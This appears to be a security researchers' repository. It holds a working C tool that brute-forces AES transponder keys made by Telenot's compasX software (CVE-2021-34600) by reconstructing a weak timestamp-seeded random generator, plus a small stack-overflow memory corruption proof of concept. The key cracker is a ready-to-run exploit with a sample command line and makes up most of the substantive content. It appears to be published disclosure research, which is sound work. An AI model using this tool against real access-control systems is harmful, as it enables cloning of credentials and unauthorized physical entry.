├── CVE-2021-34600-brute-force ├── LICENSE └── brute-cve-2021-34600-fork.c └── stack-overflow-threadrec-poc.c /CVE-2021-34600-brute-force/LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /CVE-2021-34600-brute-force/brute-cve-2021-34600-fork.c: -------------------------------------------------------------------------------- 1 | // X41 D-Sec GmbH, 2022-01-23, Markus Vervier, Yaşar Klawohn 2 | // Sebastien Riou, 2019-05-14 3 | // 4 | // FAST brute force transponder aes keys generated by Telenot's compasX software 5 | // CVE-2021-34600, more information available at https://www.x41-dsec.de/lab/blog/telenot-complex-insecure-keygen/ 6 | // requires AES-NI 7 | // 8 | // gcc -o brute-cve-2021-34600-fork -march=native -maes -Ofast brute-cve-2021-34600-fork.c 9 | // 10 | // usage example: ./brute-cve-2021-34600-fork -timestamp 1505394800 -workers 8 -tag_challenge bb6aea729414a5b1eff7b16328ce37fd -lock_challenge 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c 11 | // 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | 26 | /* The following is from https://github.com/sebastien-riou/aes-brute-force/blob/master/include/aes_ni.h */ 27 | #include //for intrinsics for AES-NI 28 | 29 | //internal stuff 30 | 31 | //macros 32 | 33 | #define DO_DEC_BLOCK(m,k) \ 34 | do{\ 35 | m = _mm_xor_si128 (m, k[10+0]); \ 36 | m = _mm_aesdec_si128 (m, k[10+1]); \ 37 | m = _mm_aesdec_si128 (m, k[10+2]); \ 38 | m = _mm_aesdec_si128 (m, k[10+3]); \ 39 | m = _mm_aesdec_si128 (m, k[10+4]); \ 40 | m = _mm_aesdec_si128 (m, k[10+5]); \ 41 | m = _mm_aesdec_si128 (m, k[10+6]); \ 42 | m = _mm_aesdec_si128 (m, k[10+7]); \ 43 | m = _mm_aesdec_si128 (m, k[10+8]); \ 44 | m = _mm_aesdec_si128 (m, k[10+9]); \ 45 | m = _mm_aesdeclast_si128(m, k[0]);\ 46 | }while(0) 47 | 48 | #define AES_128_key_exp(k, rcon) aes_128_key_expansion(k, _mm_aeskeygenassist_si128(k, rcon)) 49 | 50 | 51 | static __m128i aes_128_key_expansion(__m128i key, __m128i keygened){ 52 | keygened = _mm_shuffle_epi32(keygened, _MM_SHUFFLE(3,3,3,3)); 53 | key = _mm_xor_si128(key, _mm_slli_si128(key, 4)); 54 | key = _mm_xor_si128(key, _mm_slli_si128(key, 4)); 55 | key = _mm_xor_si128(key, _mm_slli_si128(key, 4)); 56 | return _mm_xor_si128(key, keygened); 57 | } 58 | 59 | 60 | void aes128_dec(uint8_t *cipherText,uint8_t *enc_key, uint8_t *plainText){ 61 | 62 | // key exapnsion 63 | __m128i key_schedule[20];//the expanded key 64 | key_schedule[0] = _mm_loadu_si128((const __m128i*) enc_key); 65 | key_schedule[1] = AES_128_key_exp(key_schedule[0], 0x01); 66 | key_schedule[2] = AES_128_key_exp(key_schedule[1], 0x02); 67 | key_schedule[3] = AES_128_key_exp(key_schedule[2], 0x04); 68 | key_schedule[4] = AES_128_key_exp(key_schedule[3], 0x08); 69 | key_schedule[5] = AES_128_key_exp(key_schedule[4], 0x10); 70 | key_schedule[6] = AES_128_key_exp(key_schedule[5], 0x20); 71 | key_schedule[7] = AES_128_key_exp(key_schedule[6], 0x40); 72 | key_schedule[8] = AES_128_key_exp(key_schedule[7], 0x80); 73 | key_schedule[9] = AES_128_key_exp(key_schedule[8], 0x1B); 74 | key_schedule[10] = AES_128_key_exp(key_schedule[9], 0x36); 75 | 76 | // generate decryption keys in reverse order. 77 | // k[10] is shared by last encryption and first decryption rounds 78 | // k[0] is shared by first encryption round and last decryption round (and is the original user key) 79 | // For some implementation reasons, decryption key schedule is NOT the encryption key schedule in reverse order 80 | key_schedule[11] = _mm_aesimc_si128(key_schedule[9]); 81 | key_schedule[12] = _mm_aesimc_si128(key_schedule[8]); 82 | key_schedule[13] = _mm_aesimc_si128(key_schedule[7]); 83 | key_schedule[14] = _mm_aesimc_si128(key_schedule[6]); 84 | key_schedule[15] = _mm_aesimc_si128(key_schedule[5]); 85 | key_schedule[16] = _mm_aesimc_si128(key_schedule[4]); 86 | key_schedule[17] = _mm_aesimc_si128(key_schedule[3]); 87 | key_schedule[18] = _mm_aesimc_si128(key_schedule[2]); 88 | key_schedule[19] = _mm_aesimc_si128(key_schedule[1]); 89 | 90 | // actual decryption 91 | __m128i m = _mm_loadu_si128((__m128i *) cipherText); 92 | DO_DEC_BLOCK(m,key_schedule); 93 | _mm_storeu_si128((__m128i *) plainText, m); 94 | } 95 | 96 | 97 | #define likely(x) __builtin_expect(!!(x), 1) 98 | #define unlikely(x) __builtin_expect(!!(x), 0) 99 | 100 | 101 | uint32_t seed = 0; 102 | 103 | uint32_t borland_rand() { 104 | seed = (seed * 22695477) % UINT_MAX; 105 | seed = (seed + 1) % UINT_MAX; 106 | return (seed >> 16) & 0x7fff; 107 | } 108 | 109 | void borland_srand(uint32_t s) { 110 | seed = s; 111 | borland_rand(); 112 | } 113 | 114 | void make_key(uint32_t seed, uint8_t * key) { 115 | borland_srand(seed); 116 | for (int i = 0; i < 16; i++) { 117 | key[i] = borland_rand() % 0xFF; 118 | } 119 | } 120 | 121 | 122 | void decrypt32_iv(uint8_t * cipher, uint8_t * key, uint8_t * iv, uint8_t * plain) { 123 | aes128_dec(cipher,key,plain); 124 | for (uint8_t i = 0; i <= 16;i++) { 125 | plain[i] ^= iv[i]; 126 | } 127 | aes128_dec(&cipher[16],key,&plain[16]); 128 | for (uint8_t i = 0; i <= 16;i++) { 129 | plain[16+i] ^= cipher[i]; 130 | } 131 | } 132 | void decrypt(uint8_t * cipher, uint8_t * key, uint8_t * plain) { 133 | aes128_dec(cipher,key,plain); 134 | } 135 | 136 | 137 | int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) { 138 | size_t hexstr_len = strlen(hexstr); 139 | if (hexstr_len % 16) { 140 | return 1; 141 | } 142 | if (byte_len < hexstr_len/2) { 143 | return 2; 144 | } 145 | char *pos = &hexstr[0]; 146 | for (size_t count = 0; *pos != 0; count++) { 147 | sscanf(pos, "%2hhx", &bytes[count]); 148 | pos += 2; 149 | } 150 | return 0; 151 | } 152 | 153 | int main (int argc, char* argv[]) { 154 | uint32_t start_time = time(NULL); 155 | uint8_t tag_challenge[16] = {0x00}; 156 | uint8_t lock_challenge[32] = {0x00}; 157 | uint32_t timestamp_arg = 0; 158 | uint8_t worker = 1; 159 | uint16_t workers[64] = {0x00}; 160 | uint32_t partition = 0; 161 | uint32_t slice = 0; 162 | uint32_t iterations = 0; 163 | uint8_t dec_tag[16] = {0x00}; 164 | uint8_t dec_lock[32] = {0x00}; 165 | uint8_t key[16] = {0x00}; 166 | int c = 0; 167 | uint8_t has_tagchallenge = 0; 168 | uint8_t has_lockchallenge = 0; 169 | 170 | static struct option long_options[] = { 171 | /* NAME ARGUMENT FLAG SHORTNAME */ 172 | {"workers", required_argument, NULL, 'w'}, 173 | {"timestamp", required_argument, NULL, 's'}, 174 | {"tag_challenge", required_argument, NULL, 't'}, 175 | {"lock_challenge", required_argument, NULL, 'l'}, 176 | {NULL, 0, NULL, 0} 177 | }; 178 | int option_index = 0; 179 | bool usage = false; 180 | while ((c = getopt_long_only(argc, argv, ":w:s:t:l:h", 181 | long_options, &option_index)) != -1) { 182 | 183 | switch (c) { 184 | case 'w': 185 | worker = atoi(optarg); 186 | if (worker > 64) { 187 | printf("maximum 64 workers supported\n"); 188 | return 1; 189 | } 190 | break; 191 | case 's': 192 | timestamp_arg = atoi(optarg); 193 | break; 194 | case 't': 195 | if(hexstr_to_byte_array(optarg, tag_challenge, sizeof(tag_challenge))) { 196 | return 2; 197 | } 198 | has_tagchallenge = 1; 199 | break; 200 | case 'l': 201 | if(hexstr_to_byte_array(optarg, lock_challenge, sizeof(lock_challenge))) { 202 | return 3; 203 | } 204 | has_lockchallenge = 1; 205 | break; 206 | case 'h': 207 | case '?': 208 | break; 209 | default: 210 | usage = true; 211 | } 212 | } 213 | if (usage || !has_tagchallenge || !has_lockchallenge) { 214 | printf("required parameters -tag_challenge and -lock_challenge missing"); 215 | printf("usage: %s -workers -timestamp -tag_challenge <16 byte tag challenge> -lock_challenge <32 byte lock challenge>", argv[0]); 216 | return 1; 217 | } 218 | 219 | 220 | iterations = start_time - timestamp_arg; 221 | partition = iterations/worker; 222 | 223 | printf("starting up %d workers with %d iterations each...STAY TUNED\n", worker, iterations/worker); 224 | 225 | for (int j = 0; j < worker; j++) { 226 | slice = j*partition; 227 | uint32_t stop_time = timestamp_arg+slice+partition; 228 | workers[j] = fork(); 229 | if (workers[j] == 0) { // child 230 | for (uint32_t timestamp = timestamp_arg+slice; timestamp < stop_time; timestamp++) { 231 | // each thread needs their own local variables) 232 | make_key(timestamp, &key[0]); 233 | decrypt(&tag_challenge[0], &key[0], &dec_tag[0]); // blocksize assumed to always be 16. 234 | decrypt32_iv(&lock_challenge[0], &key[0], &tag_challenge[0], &dec_lock[0]); 235 | 236 | if ( unlikely( 237 | !( 238 | (dec_tag[0] != dec_lock[16+15]) || 239 | memcmp(&dec_tag[1], &dec_lock[16], 15)) 240 | ) 241 | ) { 242 | printf("\btimestamp: %i\nkey: ", timestamp); 243 | for (int i = 0; i < 16; i++) { 244 | printf("%02x", key[i]); 245 | } 246 | printf("\n"); 247 | kill(getppid(), 15); // dirty dirty :P 248 | } 249 | 250 | 251 | } 252 | return 2; 253 | } 254 | 255 | } 256 | 257 | // wait until all finished or we get killed by worker that found the key 258 | while(wait(NULL) > 0); 259 | return 0; 260 | } 261 | -------------------------------------------------------------------------------- /stack-overflow-threadrec-poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void *t1_function( int *maxdepth ); 6 | void *t2_function( void *ptr ); 7 | 8 | static int cont = 1; 9 | 10 | /* 11 | * Stack Overflow Memory Corruption 12 | * Guard Page Jump via fprintf 13 | * 2016 Markus Vervier, X41 D-Sec GmbH 14 | */ 15 | 16 | // gcc -g -lpthread -o threadrec threadrec.c 17 | // *** > run with argument 261881 as recursion depth (or another value on 18 | // your machine 19 | // 20 | 21 | void main(int argc, char **argv) 22 | { 23 | pthread_t thread1, thread2; 24 | const char *message1 = "Thread 1"; 25 | int iret1, iret2; 26 | 27 | if (argc < 2) { 28 | printf("usage: %s recursiondepth # (try 261880)\n"); 29 | return; 30 | } 31 | 32 | int maxdepth = atoi(argv[1]); 33 | 34 | /* Create independent threads each of which will execute function */ 35 | iret1 = pthread_create( &thread1, NULL, t1_function, (void*) &maxdepth); 36 | if(iret1) 37 | { 38 | fprintf(stderr,"Error - pthread_create() return code: %d\n",iret1); 39 | exit(EXIT_FAILURE); 40 | } 41 | 42 | iret2 = pthread_create( &thread2, NULL, t2_function, (void*) message1); 43 | if(iret2) 44 | { 45 | fprintf(stderr,"Error - pthread_create() return code: %d\n",iret2); 46 | exit(EXIT_FAILURE); 47 | } 48 | 49 | printf("pthread_create() for thread 1 returns: %d\n",iret1); 50 | printf("pthread_create() for thread 2 returns: %d\n",iret2); 51 | 52 | pthread_join( thread1, NULL); 53 | pthread_join( thread2, NULL); 54 | 55 | exit(EXIT_SUCCESS); 56 | 57 | } 58 | 59 | void r(int depth, int maxdepth) { 60 | if ((depth < maxdepth)) { 61 | r(++depth, maxdepth); 62 | } else { 63 | // __asm__ __volatile__("int3"); 64 | fprintf(stderr, "maxdepth baby: %d!AAAAAAAAAAAAAAAAAAAAAAAAAAA\n", depth); // CORRUPT STACK OF THREAD 2 65 | cont = 0; 66 | } 67 | } 68 | 69 | void *t1_function( int *maxdepth ) 70 | { 71 | printf("Thread 2\n"); 72 | r(0,*maxdepth); 73 | } 74 | 75 | int check() { 76 | return cont; 77 | } 78 | 79 | void *t2_function( void *ptr ) 80 | { 81 | char *message; 82 | message = (char *) ptr; 83 | printf("%s\n", message); 84 | while(cont); // wait for the other thread to corrupt our stack ;) 85 | } 86 | --------------------------------------------------------------------------------